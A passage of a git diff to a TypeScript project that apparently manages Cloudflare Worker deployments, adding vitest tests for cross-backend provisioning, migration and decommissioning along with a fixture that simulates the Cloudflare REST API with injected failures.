2) + : harness.store; + harness.world.failNext('createDatabase', { dispatched }); + const failure = await captureFailure( + provisionWithStore(harness, store, spec), + ); + if (dispatched) { + expect(failure).toMatchObject({ + message: 'failed state write at database-created', + }); + } else { + expect(failure).toBeInstanceOf(ProvisioningError); + } + expect(store.record?.phase).toBe('database-create-authorized'); + return { harness, spec, store }; +} + +describe('ordinary Worker cross-backend continuation', () => { + afterEach(assertHarnessFailuresConsumed); + it('converges a Wrangler-created ready deployment through the direct backend without provider mutations', async () => { + const spec = buildPlainWorkerSpec(); + const source = wrangler(); + const ready = await provision(source, spec); + const before = worldFacts(source.world); + const direct = directHarness(source.world); + direct.store.record = structuredClone(ready.record); + + const converged = await provision(direct, spec); + + expect(converged.record).toEqual(ready.record); + expect(worldFacts(source.world)).toEqual(before); + }); + + it('resumes every Wrangler provisioning snapshot with the direct backend', async () => { + const spec = buildPlainWorkerSpec(); + const source = wrangler(); + const ready = await provision(source, spec); + const snapshots = source.store.snapshots.filter( + ({ record }) => record.phase !== 'ready', + ); + expect( + snapshots.map(({ record }) => [record.phase, record.schemaVersion]), + ).toEqual([ + ['database-reserved', 0], + ['database-create-authorized', 0], + ['database-created', 0], + ['identity-seeded', 0], + ['identity-seeded', 1], + ['identity-seeded', 2], + ['migrated', 2], + ['application-resources-create-authorized', 2], + ['application-resources-deployed', 2], + ['worker-deployed', 2], + ['maintenance-armed', 2], + ['publishing', 2], + ]); + + for (const snapshot of snapshots) { + const world = snapshot.world.clone(); + const direct = directHarness(world); + direct.store.record = structuredClone(snapshot.record); + const persistedVersionExists = snapshot.world.scripts + .get(snapshot.record.scriptName) + ?.versions.some( + ({ versionId }) => versionId === snapshot.record.artifactVersion, + ); + + const resumed = await provision(direct, spec); + + expect(resumed.record.phase).toBe('ready'); + expect(resumed.record).toMatchObject({ + backend: snapshot.record.backend, + scriptName: snapshot.record.scriptName, + databaseName: snapshot.record.databaseName, + routeHostname: snapshot.record.routeHostname, + }); + if ( + snapshot.record.phase !== 'database-reserved' && + snapshot.record.phase !== 'database-create-authorized' + ) { + expect(resumed.record.databaseId).toBe(snapshot.record.databaseId); + } + expect(resumed.record.applicationResources).toEqual([]); + expect( + world.databases + .find(({ databaseId }) => databaseId === resumed.record.databaseId) + ?.d1.queryDatabase( + 'SELECT version FROM anchorage_fleet_migrations ORDER BY version', + ), + ).toEqual([{ version: 1 }, { version: 2 }]); + expect( + world.scripts + .get(spec.scriptName) + ?.versions.some( + ({ versionId }) => versionId === resumed.record.artifactVersion, + ), + ).toBe(true); + if (persistedVersionExists) { + expect(resumed.record.artifactVersion).toBe( + snapshot.record.artifactVersion, + ); + } + } + expect(ready.record.phase).toBe('ready'); + }); + + it('resumes migration before and after the staged artifact is persisted', async () => { + const currentSpec = initialSpec(); + const targetSpec = migrationSpec(); + const source = wrangler(); + const ready = await provision(source, currentSpec); + source.store.snapshots.length = 0; + + await migrate(source, source.store, ready.record, targetSpec); + + const withoutArtifact = source.store.snapshots.find( + ({ record }) => + record.phase === 'migrating' && + record.pendingSpecDigest !== undefined && + record.pendingArtifactVersion === undefined, + ); + const withArtifact = source.store.snapshots.find( + ({ record }) => + record.phase === 'migrating' && + record.pendingSpecDigest !== undefined && + record.pendingArtifactVersion !== undefined, + ); + if (!withoutArtifact || !withArtifact) { + throw new Error('Wrangler migration did not persist both resume states'); + } + + for (const snapshot of [withoutArtifact, withArtifact]) { + const world = snapshot.world.clone(); + const direct = directHarness(world); + const otherRecord: FleetRecord = { + ...structuredClone(snapshot.record), + tenantTag: 'other', + environment: 'staging', + scriptName: 'other-staging', + databaseName: 'other-staging', + databaseId: 'database-other', + routeHostname: 'other.example.test', + }; + const store = new ContinuationFleetStore([snapshot.record, otherRecord]); + const [resumed] = await migrate( + direct, + store, + snapshot.record, + targetSpec, + ); + + expect(resumed).toMatchObject({ + phase: 'ready', + schemaVersion: targetSpec.schemaVersion, + }); + expect(mapping(resumed ?? snapshot.record)).toEqual( + mapping(snapshot.record), + ); + expect(resumed?.pendingSpecDigest).toBeUndefined(); + expect(resumed?.pendingArtifactVersion).toBeUndefined(); + await expect(store.get('other', 'staging')).resolves.toEqual(otherRecord); + expect( + world.scripts + .get(targetSpec.scriptName) + ?.versions.some( + ({ versionId }) => versionId === resumed?.artifactVersion, + ), + ).toBe(true); + } + }); + + it('aborts authorized and owned Wrangler-shaped partial deployments through the direct backend', async () => { + const authorized = await authorizedWranglerCreate(true); + const directAuthorized = directHarness(authorized.harness.world); + directAuthorized.store.record = structuredClone(authorized.store.record); + + await cleanupDeploymentArtifacts({ + backend: directAuthorized.backend, + store: directAuthorized.store, + spec: authorized.spec, + }); + + expect(directAuthorized.store.record).toBeUndefined(); + expect(directAuthorized.world.databases).toEqual([]); + + const source = wrangler(); + const spec = buildPlainWorkerSpec(); + await provision(source, spec); + for (const phase of ['worker-deployed', 'maintenance-armed'] as const) { + const snapshot = source.store.snapshots.find( + ({ record }) => record.phase === phase, + ); + if (!snapshot) throw new Error(`missing ${phase} snapshot`); + const direct = directHarness(snapshot.world.clone()); + direct.store.record = structuredClone(snapshot.record); + + await cleanupDeploymentArtifacts({ + backend: direct.backend, + store: direct.store, + spec, + }); + + expect(direct.store.record).toBeUndefined(); + expect(direct.world.databases).toEqual([]); + expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(false); + } + }); + + it('refuses foreign and mismatched resources during direct abort', async () => { + const foreign = await authorizedWranglerCreate(false); + const foreignDirect = directHarness(foreign.harness.world); + foreignDirect.store.record = structuredClone(foreign.store.record); + const foreignDatabase = foreignDirect.world.seedDatabase( + foreign.spec.databaseName, + ); + await foreignDirect.backend.seedDeploymentIdentity( + { + id: foreignDatabase.databaseId, + name: foreignDatabase.name, + created: false, + }, + 'foreign', + { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => {}, + }, + { initialExecutionFenceState: 'open' }, + ); + + const foreignFailure = await captureFailure( + cleanupDeploymentArtifacts({ + backend: foreignDirect.backend, + store: foreignDirect.store, + spec: foreign.spec, + }), + ); + expect(errorChain(foreignFailure)).toContain("owned by 'foreign'"); + expect(foreignDirect.store.record?.phase).toBe( + 'database-create-authorized', + ); + + const source = wrangler(); + const spec = buildPlainWorkerSpec(); + await provision(source, spec); + const worker = source.store.snapshots.find( + ({ record }) => record.phase === 'worker-deployed', + ); + if (!worker) throw new Error('missing worker-deployed snapshot'); + const mismatched = directHarness(worker.world.clone()); + mismatched.store.record = structuredClone(worker.record); + const index = mismatched.world.databases.findIndex( + ({ databaseId }) => databaseId === worker.record.databaseId, + ); + mismatched.world.databases.splice(index, 1); + mismatched.world.seedDatabase('mismatched-name', { + databaseId: worker.record.databaseId, + }); + + const mismatchFailure = await captureFailure( + cleanupDeploymentArtifacts({ + backend: mismatched.backend, + store: mismatched.store, + spec, + }), + ); + expect(errorChain(mismatchFailure)).toContain( + 'resolved with unexpected identity', + ); + expect(mismatched.store.record?.phase).toBe('worker-deployed'); + }); + + it('compensates a Wrangler ambiguous create after direct recovery creates the Worker', async () => { + const authorized = await authorizedWranglerCreate(true); + const direct = directHarness(authorized.harness.world); + direct.store.record = structuredClone(authorized.store.record); + const deployWorker = direct.backend.deployWorker.bind(direct.backend); + let deployedCreated: boolean | undefined; + vi.spyOn(direct.backend, 'deployWorker').mockImplementation( + async (...arguments_) => { + const deployed = await deployWorker(...arguments_); + deployedCreated = deployed.created; + return deployed; + }, + ); + direct.world.failNext('ensureMaintenance', { dispatched: false }); + + const failure = await captureFailure(provision(direct, authorized.spec)); + + expect(failure).toBeInstanceOf(ProvisioningError); + expect(deployedCreated).toBe(true); + expect(direct.store.record).toBeUndefined(); + expect(direct.world.databases).toEqual([]); + expect(direct.world.scripts.get(authorized.spec.scriptName)?.present).toBe( + false, + ); + expect(direct.world.customDomains).toEqual([]); + expect(direct.world.mutationLog).toEqual( + expect.arrayContaining([ + `delete-script:${authorized.spec.scriptName}`, + expect.stringMatching(/^delete-database:/u), + ]), + ); + }); + + it('does not roll back a direct resume that started at database-created', async () => { + const source = wrangler(); + const spec = buildPlainWorkerSpec(); + await provision(source, spec); + const created = source.store.snapshots.find( + ({ record }) => record.phase === 'database-created', + ); + if (!created) throw new Error('missing database-created snapshot'); + const direct = directHarness(created.world.clone()); + direct.store.record = structuredClone(created.record); + direct.world.failNext('ensureMaintenance', { dispatched: false }); + + await expect(provision(direct, spec)).rejects.toBeInstanceOf( + ProvisioningError, + ); + + expect(direct.store.record?.phase).toBe('worker-deployed'); + expect(direct.world.databases).toHaveLength(1); + expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(true); + }); + + it('decommissions a Wrangler-created ready deployment through the direct backend', async () => { + const source = wrangler(); + const spec = buildPlainWorkerSpec(); + const ready = await provision(source, spec); + const direct = directHarness(source.world); + direct.store.record = structuredClone(ready.record); + + const result = await decommissionDeployment({ + backend: direct.backend, + store: direct.store, + spec, + }); + + expect(result.record.phase).toBe('decommissioned'); + expect(direct.world.databases).toEqual([]); + expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(false); + }); + + it('retries every direct teardown state write from its retained predecessor', async () => { + const source = wrangler(); + const spec = buildPlainWorkerSpec(); + const ready = await provision(source, spec); + const rows: readonly Readonly<{ + phase: FleetRecord['phase']; + predecessor: FleetRecord['phase']; + }>[] = [ + { phase: 'decommissioning', predecessor: 'ready' }, + { phase: 'traffic-removed', predecessor: 'decommissioning' }, + { phase: 'credentials-revoked', predecessor: 'traffic-removed' }, + { phase: 'worker-deleted', predecessor: 'credentials-revoked' }, + { + phase: 'platform-credentials-revoked', + predecessor: 'worker-deleted', + }, + { + phase: 'platform-resources-deleted', + predecessor: 'platform-credentials-revoked', + }, + { + phase: 'application-resources-deleting', + predecessor: 'platform-resources-deleted', + }, + { + phase: 'application-resources-deleted', + predecessor: 'application-resources-deleting', + }, + { + phase: 'database-exported', + predecessor: 'application-resources-deleted', + }, + { phase: 'database-deleting', predecessor: 'database-exported' }, + { phase: 'decommissioned', predecessor: 'database-deleting' }, + ]; + + for (const row of rows) { + const direct = directHarness(source.world.clone()); + direct.store.record = structuredClone(ready.record); + direct.store.failPutPhase = row.phase; + + await expect( + decommissionDeployment({ + backend: direct.backend, + store: direct.store, + spec, + }), + ).rejects.toThrow(`failed state write at ${row.phase}`); + expect(direct.store.record?.phase).toBe(row.predecessor); + + const retried = await decommissionDeployment({ + backend: direct.backend, + store: direct.store, + spec, + }); + expect(retried.record.phase).toBe('decommissioned'); + expect(direct.world.databases).toEqual([]); + } + }); + + it('force-decommissions a wedged Wrangler-created deployment through the direct backend', async () => { + const source = wrangler(); + const spec = buildPlainWorkerSpec(); + const ready = await provision(source, spec); + const direct = directHarness(source.world); + direct.store.record = { + ...structuredClone(ready.record), + phase: 'migrating', + pendingSpecDigest: 'f'.repeat(64), + }; + + await forceDecommissionDeployment({ + backend: direct.backend, + store: direct.store, + tenantTag: spec.tenantTag, + environment: spec.environment, + }); + + expect(direct.store.record).toBeUndefined(); + expect(direct.world.databases).toEqual([]); + expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(true); + expect(direct.world.scripts.get(spec.scriptName)?.subdomain).toEqual({ + enabled: false, + previewsEnabled: false, + }); + expect(direct.world.scripts.get(spec.scriptName)?.secretNames.size).toBe(0); + }); + + it('converges direct continuation after every ambiguous provider boundary', async () => { + const spec = buildPlainWorkerSpec(); + + const createSource = await authorizedWranglerCreate(false); + const create = directHarness(createSource.harness.world); + create.store.record = structuredClone(createSource.store.record); + create.world.failNext('createDatabase', { dispatched: true }); + // The core adopts an exact unowned database after a lost create response. + const created = await provision(create, spec); + expect(created.record.phase).toBe('ready'); + expect(create.world.databases).toHaveLength(1); + expect(created.record.databaseId).toBe( + create.world.databases[0]?.databaseId, + ); + expect( + create.world.mutationLog.filter((entry) => + entry.startsWith('create-database:'), + ), + ).toHaveLength(1); + + const source = wrangler(); + const ready = await provision(source, spec); + const beforeWorker = source.store.snapshots.find( + ({ record }) => record.phase === 'application-resources-deployed', + ); + if (!beforeWorker) { + throw new Error('missing application-resources-deployed snapshot'); + } + const upload = directHarness(beforeWorker.world.clone()); + upload.store.record = structuredClone(beforeWorker.record); + upload.world.failNext('uploadCandidate', { dispatched: true }); + expect((await provision(upload, spec)).record.phase).toBe('ready'); + + for (const operation of ['deployCandidate', 'promoteWorker']) { + const direct = directHarness(source.world.clone()); + direct.store.record = structuredClone(ready.record); + const targetSpec = migrationSpec(); + direct.world.failNext(operation, { dispatched: true }); + const [resumed] = await migrate( + direct, + direct.store, + ready.record, + targetSpec, + ); + expect(resumed?.phase).toBe('ready'); + } + + const deletion = directHarness(source.world.clone()); + deletion.store.record = structuredClone(ready.record); + deletion.world.failNext('deleteWorkerScript', { dispatched: true }); + await ignoreFailure( + decommissionDeployment({ + backend: deletion.backend, + store: deletion.store, + spec, + }), + ); + const removed = await decommissionDeployment({ + backend: deletion.backend, + store: deletion.store, + spec, + }); + expect(removed.record.phase).toBe('decommissioned'); + + const beforeAttach = source.store.snapshots.find( + ({ record }) => record.phase === 'publishing', + ); + if (!beforeAttach) throw new Error('missing publishing snapshot'); + const attached = directHarness(beforeAttach.world.clone()); + attached.store.record = structuredClone(beforeAttach.record); + attached.world.failNext('attachCustomDomain', { dispatched: true }); + await ignoreFailure(provision(attached, spec)); + const attachedReady = await provision(attached, spec); + expect(attachedReady.record.phase).toBe('ready'); + expect(attached.world.customDomains).toEqual([ + expect.objectContaining({ + hostname: spec.routeHostname, + service: spec.scriptName, + }), + ]); + + const detached = directHarness(source.world.clone()); + detached.store.record = structuredClone(ready.record); + detached.world.failNext('detachCustomDomain', { dispatched: true }); + await ignoreFailure( + decommissionDeployment({ + backend: detached.backend, + store: detached.store, + spec, + }), + ); + const detachedReady = await decommissionDeployment({ + backend: detached.backend, + store: detached.store, + spec, + }); + expect(detachedReady.record.phase).toBe('decommissioned'); + + const databaseDeletion = directHarness(source.world.clone()); + databaseDeletion.store.record = structuredClone(ready.record); + databaseDeletion.world.failNext('deleteDatabase', { dispatched: true }); + await ignoreFailure( + decommissionDeployment({ + backend: databaseDeletion.backend, + store: databaseDeletion.store, + spec, + }), + ); + const databaseDeleted = await decommissionDeployment({ + backend: databaseDeletion.backend, + store: databaseDeletion.store, + spec, + }); + expect(databaseDeleted.record.phase).toBe('decommissioned'); + expect(databaseDeletion.world.databases).toEqual([]); + + const secretDeletion = directHarness(source.world.clone()); + secretDeletion.store.record = structuredClone(ready.record); + secretDeletion.world.failNext('deleteControlSecrets', { + dispatched: true, + }); + await ignoreFailure( + decommissionDeployment({ + backend: secretDeletion.backend, + store: secretDeletion.store, + spec, + }), + ); + const secretsDeleted = await decommissionDeployment({ + backend: secretDeletion.backend, + store: secretDeletion.store, + spec, + }); + expect(secretsDeleted.record.phase).toBe('decommissioned'); + expect( + secretDeletion.world.scripts.get(spec.scriptName)?.secretNames.size, + ).toBe(0); + + const publicAccess = directHarness(source.world.clone()); + publicAccess.store.record = { + ...structuredClone(ready.record), + phase: 'migrating', + pendingSpecDigest: 'f'.repeat(64), + }; + publicAccess.world.failNext('disablePublicAccess', { dispatched: true }); + await ignoreFailure( + forceDecommissionDeployment({ + backend: publicAccess.backend, + store: publicAccess.store, + tenantTag: spec.tenantTag, + environment: spec.environment, + }), + ); + await forceDecommissionDeployment({ + backend: publicAccess.backend, + store: publicAccess.store, + tenantTag: spec.tenantTag, + environment: spec.environment, + }); + expect(publicAccess.store.record).toBeUndefined(); + expect(publicAccess.world.scripts.get(spec.scriptName)?.subdomain).toEqual({ + enabled: false, + previewsEnabled: false, + }); + }); +}); diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts index 666ccefe..c341c300 100644 --- a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -6,6 +6,11 @@ import { type CloudflareApiRateCoordinator, ProcessLocalCloudflareApiRateCoordinator, } from '../../src/cloudflare-rate-coordinator.js'; +import { + maintenanceResponder, + type ProviderWorld, + type WorkerRoute, +} from './provider-world.js'; type PageInfo = Readonly<{ page?: number; @@ -72,6 +77,7 @@ export function envelope(result: unknown): Response { export function zoneAuthorityResponse( url: URL, zoneIds: readonly string[], + routes?: readonly WorkerRoute[], ): Response | undefined { if (url.pathname.endsWith('/user/tokens/verify')) { return envelope({ id: 'token-id', status: 'active' }); @@ -103,6 +109,16 @@ export function zoneAuthorityResponse( if (url.searchParams.has('page')) return envelope([]); return envelope(zoneIds.map((id) => ({ id, account: { id: 'account' } }))); } + const parts = url.pathname.split('/').filter(Boolean); + const zoneIndex = parts.indexOf('zones'); + const zoneId = zoneIndex >= 0 ? parts[zoneIndex + 1] : undefined; + if (routes && zoneId && url.pathname.endsWith('/workers/routes')) { + return envelope( + routes + .filter((route) => route.zoneId === zoneId) + .map(({ id, pattern, script }) => ({ id, pattern, script })), + ); + } return undefined; } @@ -147,16 +163,6 @@ export function deferred(): { return { promise, resolve }; } -export function errorChain(error: unknown): string { - const messages: string[] = []; - let current = error; - while (current instanceof Error) { - messages.push(current.message); - current = current.cause; - } - return messages.join(' | '); -} - export interface CloudflareFetchRecord { readonly method: string; readonly url: string; @@ -257,30 +263,47 @@ export function recordingFetch( return { fetch: fixtureFetch, requests, probes, events }; } -export interface ProviderWorld { - readonly scripts: Map< - string, - { - versions: Array<{ - versionId: string; - tag: string | undefined; - bindings: readonly unknown[]; - }>; - deployment?: Array<{ versionId: string; percentage: number }>; - subdomain: { enabled: boolean; previewsEnabled: boolean }; - } - >; - readonly databases: Array<{ databaseId: string; name: string }>; -} - -export function providerWorld(): ProviderWorld { - return { scripts: new Map(), databases: [] }; -} - export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { - return async ({ method, url, body }) => { + return async (request) => { + const { method, url, body } = request; const target = new URL(url); + const maintenance = await maintenanceResponder(world, request); + if (maintenance) return maintenance; + if (target.hostname === 'd1-export.example.test') { + const databaseId = target.pathname + .split('/') + .at(-1) + ?.replace(/\.sql$/u, ''); + const bytes = databaseId ? world.exports.get(databaseId) : undefined; + return bytes + ? new Response(bytes, { + headers: { 'content-length': String(bytes.byteLength) }, + }) + : new Response('missing export', { status: 404 }); + } + if (target.hostname !== 'api.cloudflare.com') { + return new Response('provider projection refuses this origin', { + status: 403, + }); + } + const authority = zoneAuthorityResponse( + target, + world.zones.map(({ id }) => id), + world.routes, + ); + if (authority) return authority; const parts = target.pathname.split('/').filter(Boolean); + const routeIndex = parts.indexOf('routes'); + const routeId = routeIndex >= 0 ? parts[routeIndex + 1] : undefined; + if (routeId && method === 'DELETE') { + const index = world.routes.findIndex(({ id }) => id === routeId); + if (index < 0) return Response.json({ errors: [] }, { status: 404 }); + // Ordinary-Worker public-access writes use subdomain.create; the only + // routes.delete caller is disableControlWorkerPublicAccess. + world.routes.splice(index, 1); + world.mutationLog.push(`delete-route:${routeId}`); + return single({}); + } const scriptsIndex = parts.indexOf('scripts'); const scriptName = scriptsIndex >= 0 ? parts[scriptsIndex + 1] : undefined; const bodyField = (name: string): unknown => @@ -301,11 +324,20 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { } if (target.pathname.endsWith('/d1/database') && method === 'POST') { const name = bodyField('name'); - const databaseId = `database-${world.databases.length + 1}`; - world.databases.push({ - databaseId, - name: typeof name === 'string' ? name : '', - }); + if ( + typeof name === 'string' && + world.databases.some((database) => database.name === name) + ) { + return failedResponse(); + } + const failure = world.consumeFailure('createDatabase'); + if (failure && !failure.dispatched) return failureResponse(failure); + const database = world.createDatabase( + typeof name === 'string' ? name : '', + ); + await world.applyAfter('createDatabase'); + if (failure) return failureResponse(failure); + const { databaseId } = database; return single({ uuid: databaseId, name }); } const databaseIndex = parts.indexOf('database'); @@ -332,40 +364,273 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { (candidate) => candidate.databaseId === databaseId, ); if (index < 0) return Response.json({ errors: [] }, { status: 404 }); + const failure = world.consumeFailure('deleteDatabase'); + if (failure && !failure.dispatched) return failureResponse(failure); world.databases.splice(index, 1); + world.mutationLog.push(`delete-database:${databaseId}`); + await world.applyAfter('deleteDatabase'); + if (failure) return failureResponse(failure); return single({}); } if (databaseId && target.pathname.endsWith('/query') && method === 'POST') { - return pageArray([{ success: true, results: [] }]); + const database = world.databases.find( + (candidate) => candidate.databaseId === databaseId, + ); + if (!database) return Response.json({ errors: [] }, { status: 404 }); + const batch = bodyField('batch'); + if (Array.isArray(batch)) { + database.d1.batchDatabase( + batch.map((statement) => ({ + sql: readStringFact(statement, 'sql') ?? '', + bindings: readStringArray(statement, 'params'), + })), + ); + await world.applyAfter('batchDatabase'); + return pageArray(batch.map(() => ({ success: true, results: [] }))); + } + const sql = bodyField('sql'); + const rows = database.d1.queryDatabase( + typeof sql === 'string' ? sql : '', + readStringArray(body, 'params'), + ); + await world.applyAfter('queryDatabase'); + return pageArray([{ success: true, results: rows }]); + } + if ( + databaseId && + target.pathname.endsWith('/export') && + method === 'POST' + ) { + const failure = world.consumeFailure('exportDatabase'); + if (failure && !failure.dispatched) return failureResponse(failure); + world.mutationLog.push(`export:${databaseId}`); + await world.applyAfter('exportDatabase'); + if (failure) return failureResponse(failure); + return single({ + status: 'complete', + result: { + signed_url: `https://d1-export.example.test/${encodeURIComponent(databaseId)}.sql?signature=world`, + }, + }); + } + if (target.pathname.endsWith('/workers/scripts') && method === 'GET') { + if (target.searchParams.has('page')) return pageArray([]); + return pageArray( + [...world.scripts.entries()].flatMap(([id, script]) => + script.present ? [{ id }] : [], + ), + ); + } + if (target.pathname.endsWith('/workers/domains') && method === 'GET') { + const domains = world.customDomains.map((domain) => ({ ...domain })); + await world.applyAfter('listCustomDomains'); + return pageArray(domains); + } + if (target.pathname.endsWith('/workers/domains') && method === 'PUT') { + const failure = world.consumeFailure('attachCustomDomain'); + if (failure && !failure.dispatched) return failureResponse(failure); + const hostname = bodyField('hostname'); + const service = bodyField('service'); + if (typeof hostname !== 'string' || typeof service !== 'string') { + return failedResponse(); + } + const current = world.customDomains.find( + (domain) => domain.hostname === hostname, + ); + if (current) current.service = service; + else { + world.customDomains.push({ + id: world.allocateDomainId(), + hostname, + service, + }); + } + world.mutationLog.push(`attach-domain:${hostname}`); + await world.applyAfter('attachCustomDomain'); + if (failure) return failureResponse(failure); + return single({ + id: world.customDomains.find((domain) => domain.hostname === hostname) + ?.id, + }); + } + const domainsIndex = parts.indexOf('domains'); + const domainId = domainsIndex >= 0 ? parts[domainsIndex + 1] : undefined; + if (domainId && method === 'DELETE') { + const index = world.customDomains.findIndex(({ id }) => id === domainId); + if (index < 0) return Response.json({ errors: [] }, { status: 404 }); + const failure = world.consumeFailure('detachCustomDomain'); + if (failure && !failure.dispatched) return failureResponse(failure); + world.customDomains.splice(index, 1); + world.mutationLog.push(`detach-domain:${domainId}`); + await world.applyAfter('detachCustomDomain'); + if (failure) return failureResponse(failure); + return single({}); + } + if ( + target.pathname.endsWith('/workers/durable_objects/namespaces') && + method === 'GET' + ) { + if (target.searchParams.has('page')) return pageArray([]); + return pageArray( + world.durableObjectNamespaces.map((namespace) => ({ + id: namespace.id, + script: namespace.script, + class: namespace.className, + })), + ); + } + if ( + target.pathname.endsWith('/workers/dispatch/namespaces') && + method === 'GET' + ) { + return pageArray( + world.dispatchNamespaces.map((namespace) => ({ + namespace_name: namespace.name, + trusted_workers: false, + script_count: namespace.scripts.length, + })), + ); + } + const dispatchIndex = parts.indexOf('namespaces'); + const dispatchNamespace = + dispatchIndex >= 0 ? parts[dispatchIndex + 1] : undefined; + const dispatchScriptIndex = parts.indexOf('scripts', dispatchIndex + 1); + const dispatchScriptName = + dispatchScriptIndex >= 0 ? parts[dispatchScriptIndex + 1] : undefined; + if ( + dispatchNamespace && + target.pathname.endsWith(`/${dispatchNamespace}/scripts`) && + method === 'GET' + ) { + const namespace = world.dispatchNamespaces.find( + ({ name }) => name === dispatchNamespace, + ); + return pageArray( + namespace?.scripts.map(({ name }) => ({ id: name, tags: [] })) ?? [], + ); + } + if ( + dispatchNamespace && + dispatchScriptName && + target.pathname.endsWith('/settings') && + method === 'GET' + ) { + const script = world.dispatchNamespaces + .find(({ name }) => name === dispatchNamespace) + ?.scripts.find(({ name }) => name === dispatchScriptName); + return script + ? single({ bindings: script.bindings }) + : Response.json({ errors: [] }, { status: 404 }); } if (!scriptName) { throw new Error(`unexpected request ${method} ${target.pathname}`); } - let script = world.scripts.get(scriptName); + const script = world.scripts.get(scriptName); if ( target.pathname.endsWith(`/workers/scripts/${scriptName}`) && method === 'PUT' ) { const metadata = bodyField('metadata'); - const versionId = `version-${(script?.versions.length ?? 0) + 1}`; - script ??= { - versions: [], - subdomain: { enabled: false, previewsEnabled: false }, - }; - script.versions.unshift({ - versionId, - tag: readVersionTag(metadata), - bindings: readBindings(metadata), - }); - world.scripts.set(scriptName, script); + const pending = world.peekFailure('uploadCandidate'); + if (pending && !pending.dispatched) { + world.consumeFailure('uploadCandidate'); + if (pending.at === 'public-access') { + throw new Error( + "ProviderFailure.at:'public-access' requires dispatched:true", + ); + } + if (pending.error) throw pending.error; + return pending.response ?? failureResponse(pending); + } + const settlesAtScript = pending?.at === 'script'; + if (pending?.error && !settlesAtScript) { + world.consumeFailure('uploadCandidate'); + // subdomain.create is outside the sanitized send() boundary and keeps + // the SDK's retries, so thrown fixture errors must settle at the PUT. + throw new Error( + "ProviderFailure.error requires at:'script' — the subdomain endpoint is outside sanitizeProviderError() and is retried by the SDK", + ); + } + const failure = settlesAtScript + ? world.consumeFailure('uploadCandidate') + : undefined; + const versions = world.applyUpload( + { + scriptName, + mode: 'initial', + tag: readVersionTag(metadata), + bindings: readBindings(metadata), + mainModule: readStringFact(metadata, 'main_module') ?? '', + modules: readModules(body), + }, + { duplicate: failure?.duplicate }, + ); + // The real adapter writes public access with a separate subdomain request + // after the script exists; the script PUT records only upload state. + if (pending && !settlesAtScript) { + world.deferFailure('uploadCandidate'); + } else { + await world.applyAfter('uploadCandidate'); + } + if (failure?.error) throw failure.error; + if (failure) return failure.response ?? failureResponse(failure); + return single({ id: scriptName, etag: versions[0]?.versionId }); + } + if (!script?.present) return Response.json({ errors: [] }, { status: 404 }); + if ( + target.pathname.endsWith(`/workers/scripts/${scriptName}`) && + method === 'GET' + ) { return single({ id: scriptName }); } - if (!script) return Response.json({ errors: [] }, { status: 404 }); if ( target.pathname.endsWith(`/workers/scripts/${scriptName}`) && method === 'DELETE' ) { - world.scripts.delete(scriptName); + const failure = world.consumeFailure('deleteWorkerScript'); + if (failure && !failure.dispatched) return failureResponse(failure); + world.deleteScript(scriptName); + await world.applyAfter('deleteWorkerScript'); + if (failure) return failureResponse(failure); + return single({}); + } + if (target.pathname.endsWith('/secrets') && method === 'GET') { + if (target.searchParams.has('page')) return pageArray([]); + return pageArray( + [...script.secretNames].sort().map((name) => ({ name })), + ); + } + if (target.pathname.endsWith('/secrets-bulk') && method === 'PATCH') { + // Ordinary-Worker secret writes only delete individual secrets; bulkUpdate + // belongs to Workers for Platforms and platform-control paths. + const secrets = bodyField('secrets'); + if (secrets && typeof secrets === 'object') { + for (const name of Reflect.ownKeys(secrets)) { + if (typeof name !== 'string') continue; + if (Reflect.get(secrets, name) === null) + script.secretNames.delete(name); + else script.secretNames.add(name); + } + } + world.mutationLog.push(`update-secrets:${scriptName}`); + return single({}); + } + const secretsIndex = parts.indexOf('secrets'); + const secretName = secretsIndex >= 0 ? parts[secretsIndex + 1] : undefined; + if (secretName && method === 'DELETE') { + const failure = world.consumeFailure('deleteControlSecrets'); + if (failure && !failure.dispatched) return failureResponse(failure); + script.secretNames.delete(secretName); + world.mutationLog.push(`delete-secret:${scriptName}:${secretName}`); + await world.applyAfter('deleteControlSecrets'); + if (failure) return failureResponse(failure); + return single({}); + } + if (secretName && method === 'PUT') { + // The ordinary-Worker plane only deletes secrets by name; no source path + // calls the SDK's single-secret update endpoint. + script.secretNames.add(secretName); + world.mutationLog.push(`update-secret:${scriptName}:${secretName}`); return single({}); } if (target.pathname.endsWith('/deployments') && method === 'GET') { @@ -399,16 +664,29 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { } if (target.pathname.endsWith('/versions') && method === 'POST') { const metadata = bodyField('metadata'); - const bindings = readBindings(metadata); - const versionId = `version-${script.versions.length + 1}`; - script.versions.unshift({ - versionId, - tag: readVersionTag(metadata), - bindings, - }); + const failure = world.consumeFailure('uploadCandidate'); + if (failure && !failure.dispatched) { + if (failure.error) throw failure.error; + return failure.response ?? failureResponse(failure); + } + const versions = world.applyUpload( + { + scriptName, + mode: 'staged', + tag: readVersionTag(metadata), + bindings: readBindings(metadata), + mainModule: readStringFact(metadata, 'main_module') ?? '', + modules: readModules(body), + }, + { duplicate: failure?.duplicate }, + ); + await world.applyAfter('uploadCandidate'); + if (failure?.error) throw failure.error; + if (failure) return failure.response ?? failureResponse(failure); + const version = versions[0]; return single({ - id: versionId, - resources: { bindings }, + id: version?.versionId, + resources: { bindings: version?.bindings ?? [] }, }); } const versionId = parts.at(-1); @@ -437,26 +715,57 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { }); } if (target.pathname.endsWith('/subdomain') && method === 'POST') { + const uploadFailure = world.consumeDeferredFailure('uploadCandidate'); + const failure = + uploadFailure ?? world.consumeFailure('disablePublicAccess'); + if (failure && !failure.dispatched) return failureResponse(failure); const payload = body && typeof body === 'object' ? body : {}; script.subdomain.enabled = Reflect.get(payload, 'enabled') === true; script.subdomain.previewsEnabled = Reflect.get(payload, 'previews_enabled') === true; + world.mutationLog.push(`configure-public-access:${scriptName}`); + if (uploadFailure) await 